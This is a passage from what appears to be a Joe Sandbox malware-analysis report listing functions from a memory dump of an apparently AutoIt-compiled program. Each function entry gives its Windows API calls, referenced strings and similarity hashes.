SetLastError.KERNEL32(00000000,?,?,?,?,00F8E6D1,?,01028A48,00000010,00F64F4A,?,?,00000000,00FA3CD6), ref: 00F92DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00F8E6D1,?,01028A48,00000010,00F64F4A,?,?,00000000,00FA3CD6), ref: 00F92DEC
_abort.LIBCMT ref: 00F92DF2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: fa97a81f92074271216184cab20deb8bc983b13144f6789fbfb5ed56294e8a8f
Instruction ID: d0b6ba6a29bed06cb61df4da0ba37e5182a2ec27391e4ae3cdb930f37ddd0d15
Opcode Fuzzy Hash: fa97a81f92074271216184cab20deb8bc983b13144f6789fbfb5ed56294e8a8f
Instruction Fuzzy Hash: 25F0CD3690551437FFA277397D06E1F35596FC27B1F35041AF528D2195DE28880171A0

Function 00FF8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00F79639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F79693
Part of subcall function 00F79639: SelectObject.GDI32(?,00000000), ref: 00F796A2
Part of subcall function 00F79639: BeginPath.GDI32(?), ref: 00F796B9
Part of subcall function 00F79639: SelectObject.GDI32(?,00000000), ref: 00F796E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00FF8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00FF8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00FF8A70
LineTo.GDI32(?,00000000,00000003), ref: 00FF8A80
EndPath.GDI32(?), ref: 00FF8A90
StrokePath.GDI32(?), ref: 00FF8AA0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: c20232adb8db14dea660f43316188df2e049305018f3615fa3ee7265138395bc
Instruction ID: 99a2b675b0b9b08edd2d8adab1ea85d61b6385059e37b061fb5d76a9e8361454
Opcode Fuzzy Hash: c20232adb8db14dea660f43316188df2e049305018f3615fa3ee7265138395bc
Instruction Fuzzy Hash: C5111E7600011DFFDF119F90DC88EAA7F6CEF08364F008012BA1995161C7719D56EFA0

Function 00FC51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FC5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00FC5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FC5230
ReleaseDC.USER32(00000000,00000000), ref: 00FC5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00FC524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00FC5261

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 5371e6892b630ca6058d9390e25466955411f10672e354efd0fe7793996941ab
Instruction ID: 67e79ed47097b628d6cc86160c2d37f4ef8e91a287a733c19cfc7118c300b73f
Opcode Fuzzy Hash: 5371e6892b630ca6058d9390e25466955411f10672e354efd0fe7793996941ab
Instruction Fuzzy Hash: A6017C75E00619BBEB109BA69D49E9EBFA8EF48751F044065EA08E7280DA709804DBA0

Function 00F61BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F61BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00F61BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F61C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F61C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00F61C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F61C22

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 652dec401f0db07f75a95d46f95b2e9d21e9e6e5aac264d0dd806d7668532036
Instruction ID: e5ef5a84a8b8814677d3b26d863776beab73840c5ed32e7617a490bd88034243
Opcode Fuzzy Hash: 652dec401f0db07f75a95d46f95b2e9d21e9e6e5aac264d0dd806d7668532036
Instruction Fuzzy Hash: E9016CB090275D7DE3008F5A8C85B52FFA8FF19354F00411B915C47941C7F5A864CBE5

Function 00FCEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00FCEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00FCEB46
GetWindowThreadProcessId.USER32(?,?), ref: 00FCEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FCEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FCEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FCEB75

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: eecf0814da49093d97149cacf8b718f34aa2d3c7f0ee4c409873214d738a377a
Instruction ID: d4fa63eb9a158e65c396b1dcbc008b20d2b4f66af2b757e55d188f5cbe79e26c
Opcode Fuzzy Hash: eecf0814da49093d97149cacf8b718f34aa2d3c7f0ee4c409873214d738a377a
Instruction Fuzzy Hash: 82F03A7264016CBBE7215B629E0EEFF3A7CEFCAB11F000158F601D1091DBA05A11EAF5

Function 00FB7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00FB7452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00FB7469
GetWindowDC.USER32(?), ref: 00FB7475
GetPixel.GDI32(00000000,?,?), ref: 00FB7484
ReleaseDC.USER32(?,00000000), ref: 00FB7496
GetSysColor.USER32(00000005), ref: 00FB74B0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: fb8f4a9f7c300a0e32a5dc7adc17d32a296353905350d61eb6b3f88ae3a3aea3
Instruction ID: 737eaef56eae0d4414eee91121050aa137bc8faf6749ab2eeee60c347f9a28c6
Opcode Fuzzy Hash: fb8f4a9f7c300a0e32a5dc7adc17d32a296353905350d61eb6b3f88ae3a3aea3
Instruction Fuzzy Hash: 45015632404229EFDB10AF64DD08BFA7BB9FF04322F644060F919A21A0CB311E51FB91

Function 00FC1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00FC187F
UnloadUserProfile.USERENV(?,?), ref: 00FC188B
CloseHandle.KERNEL32(?), ref: 00FC1894
CloseHandle.KERNEL32(?), ref: 00FC189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC18A5
HeapFree.KERNEL32(00000000), ref: 00FC18AC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: b69fb01ac30638241f5c0213b3d630e30b7565f6e486c4c8f3a3f9aaed624a78
Instruction ID: 00311b11060747181e082f542e6c5746edbab38a19ab07dba0dda915c839031b
Opcode Fuzzy Hash: b69fb01ac30638241f5c0213b3d630e30b7565f6e486c4c8f3a3f9aaed624a78
Instruction Fuzzy Hash: 09E0C23600411DBBEA016BA2EE0CD1ABF2DFF49B22B108220F22581071CB329430FB90

Function 00FCC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F67620: _wcslen.LIBCMT ref: 00F67625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FCC6EE
_wcslen.LIBCMT ref: 00FCC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FCC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00FCC7CA

Strings

0, xrefs: 00FCC6AF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 52ed7c824277425154f756d99582fd4eac9bb9da979ced37abbd00a378ad417d
Instruction ID: 18d310e88bb15fc6fbe2d896c8713e70fc75059ae801a71cf73a8b6e59c57f00
Opcode Fuzzy Hash: 52ed7c824277425154f756d99582fd4eac9bb9da979ced37abbd00a378ad417d
Instruction Fuzzy Hash: 1F519071A143029BD7149E28CA46F6B77E8EF89320F040A2DF999D2191DB74D904FB92

Function 00FEAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00FEAEA3

Part of subcall function 00F67620: _wcslen.LIBCMT ref: 00F67625

GetProcessId.KERNEL32(00000000), ref: 00FEAF38
CloseHandle.KERNEL32(00000000), ref: 00FEAF67

Strings

@, xrefs: 00FEAE72
<, xrefs: 00FEAE6B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 016c92a8d717eff2552688710562c47e7a878906f5005ab7e271e6c2854e499c
Instruction ID: 655176e8c0fcb291ba1a6d756d9556b663d8dd81485f57fcffcd38f593208e96
Opcode Fuzzy Hash: 016c92a8d717eff2552688710562c47e7a878906f5005ab7e271e6c2854e499c
Instruction Fuzzy Hash: 8671AC70A00658DFCB14EF65C884A9EBBF4FF08314F048499E856AB392C778ED45EB91

Function 00FC719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00FC7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00FC723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00FC724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00FC72CF

Strings

DllGetClassObject, xrefs: 00FC7242

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 70e3c2ad5c87d5cb46b0ea27fc53f5af203fa2c074680c0bdaa2d27d010f8bc9
Instruction ID: 239f662860cf7da44e7c51babf20471c86e37c2756c4d3bad71c3c8608d59aca
Opcode Fuzzy Hash: 70e3c2ad5c87d5cb46b0ea27fc53f5af203fa2c074680c0bdaa2d27d010f8bc9
Instruction Fuzzy Hash: A1418D71A043059FDB15DF54CA85F9A7BA9EF44310B1080ADBD059F20AD7B1D944EFA0

Function 00FF3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FF3E35
IsMenu.USER32(?), ref: 00FF3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00FF3E92
DrawMenuBar.USER32 ref: 00FF3EA5

Strings

0, xrefs: 00FF3D89

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 4adac70304a023ef91235775bfc731cc018e9fd5173af1ef32259c13d2d7e027
Instruction ID: 21bce8d8e7fabb864771ab6f60aac757cebf0986f728f92c0daac6251479ddb7
Opcode Fuzzy Hash: 4adac70304a023ef91235775bfc731cc018e9fd5173af1ef32259c13d2d7e027
Instruction Fuzzy Hash: 13414775A0020DEFDF10DF50D884AEABBB9FF48364F044169EA15A7260D734AE49EF90

Function 00FC1DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00FC1E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00FC1E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00FC1EA9

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

Strings

ComboBox, xrefs: 00FC1DF0
ListBox, xrefs: 00FC1E25

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 662352a7b015c0d526812ece0a7883a9e8b36fc72fccdd52c969254e09092943
Instruction ID: 6b44213542220d534aa094a2bd8e074aff6254a565abaa805c60658699be108d
Opcode Fuzzy Hash: 662352a7b015c0d526812ece0a7883a9e8b36fc72fccdd52c969254e09092943
Instruction Fuzzy Hash: 9F210A71A00109BADB14AB64DE46DFF77BCEF46360B10411DF815E71E2DB785919F620

Function 00FF2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00FF2F8D
LoadLibraryW.KERNEL32(?), ref: 00FF2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00FF2FA9
DestroyWindow.USER32(?), ref: 00FF2FB1

Strings

SysAnimate32, xrefs: 00FF2F68

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: f673eed1e9ffaff3f9d86aadd81dcc38b943f4adf9874a40969f59e31417a9b2
Instruction ID: cd405a177d82575fc87f2ef51e50c852a131699743b6042c5b5eb9a851df16ae
Opcode Fuzzy Hash: f673eed1e9ffaff3f9d86aadd81dcc38b943f4adf9874a40969f59e31417a9b2
Instruction Fuzzy Hash: 16216572A24209ABEB504EA49C80ABA36A9EF59374F104628FA50D61E0D771DC51A7A0

Function 00F84D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F84D1E,00F928E9,?,00F84CBE,00F928E9,010288B8,0000000C,00F84E15,00F928E9,00000002), ref: 00F84D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F84DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00F84D1E,00F928E9,?,00F84CBE,00F928E9,010288B8,0000000C,00F84E15,00F928E9,00000002,00000000), ref: 00F84DC3

Strings

mscoree.dll, xrefs: 00F84D86
CorExitProcess, xrefs: 00F84D98

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2575c457b8d5b715b7836961ab9c48bb2009db245fd074fa231c8d4f73b3dd96
Instruction ID: 1339b5497f91413677da7e8fc7252b068dc9b63feb4542b2dae7ccd6e254548b
Opcode Fuzzy Hash: 2575c457b8d5b715b7836961ab9c48bb2009db245fd074fa231c8d4f73b3dd96
Instruction Fuzzy Hash: 83F0AF31A0021DBBEB11AF90DD49BEDBBB9EF04752F0000A8F809A2650CB345940EBD0

Function 00FBD3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00FBD3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00FBD3BF
FreeLibrary.KERNEL32(00000000), ref: 00FBD3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00FBD3B9
X64, xrefs: 00FBD2A8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 57402496f6ea777a37a4e25fca5ccab999e6558869db71cee860d963aee30ede
Instruction ID: a8c7f3663af232601aa778b913a79780162d72ce5f0a721bada19fa6dbba301b
Opcode Fuzzy Hash: 57402496f6ea777a37a4e25fca5ccab999e6558869db71cee860d963aee30ede
Instruction Fuzzy Hash: CCF0E5368016799BD7351B12CC58AF97368AF10745B59916AF806E6116FB30CD44FEC3

Function 00F64E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F64EDD,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F64EAE
FreeLibrary.KERNEL32(00000000,?,?,00F64EDD,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64EC0

Strings

kernel32.dll, xrefs: 00F64E94
Wow64DisableWow64FsRedirection, xrefs: 00F64EA8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: a6ced31fa81ec2da4644aa0a0c88810a476ee004d20a2bac3d19e276943a0d1a
Instruction ID: de1a44461aa88943628b9de46501ad2e35aa44a2f1f88ec0c1c2a1b48710c200
Opcode Fuzzy Hash: a6ced31fa81ec2da4644aa0a0c88810a476ee004d20a2bac3d19e276943a0d1a
Instruction Fuzzy Hash: F7E08C36E0263A5B92222B25AD18A7BB668AF92B76B050115FD04E2210DB64DC01A0E1

Function 00F64E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00FA3CDE,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E62
